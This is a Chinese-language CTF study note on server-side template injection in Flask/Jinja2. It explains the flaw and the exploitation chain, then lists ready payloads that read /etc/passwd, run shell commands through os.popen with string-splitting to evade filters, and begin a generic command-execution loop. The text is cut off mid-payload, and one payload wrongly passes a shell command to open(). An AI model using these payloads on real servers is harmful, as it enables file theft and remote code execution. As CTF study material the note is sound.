前言:SSTI(服务端模板注入),已然不再是一个新话题,近年来的CTF中还是也经常能遇到的,比如护网杯的easy_tonado、TWCTF的Shrine,19年的SCTF也出了Ruby ERB SSTI的考点;本篇对这部分总结一下,方便未来做题和复习的时候查阅!也欢迎各路大佬在评论区指正或者放出自己的WP链接互相学习!
文章目录
各框架模板结构:(网图)
前置知识
简介
首先简单说一下什么是SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑;
漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{
{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{
{}}包裹的内容当做变量解析替换。比如{
{1+1}}会被解析成2。
利用流程
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块
常用函数
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
常见Payload
文件读取
# python3
{
{
().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}
# python2
{
{
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
新发现的新利用(赶紧收集了)
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()
通用命令执行
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ ==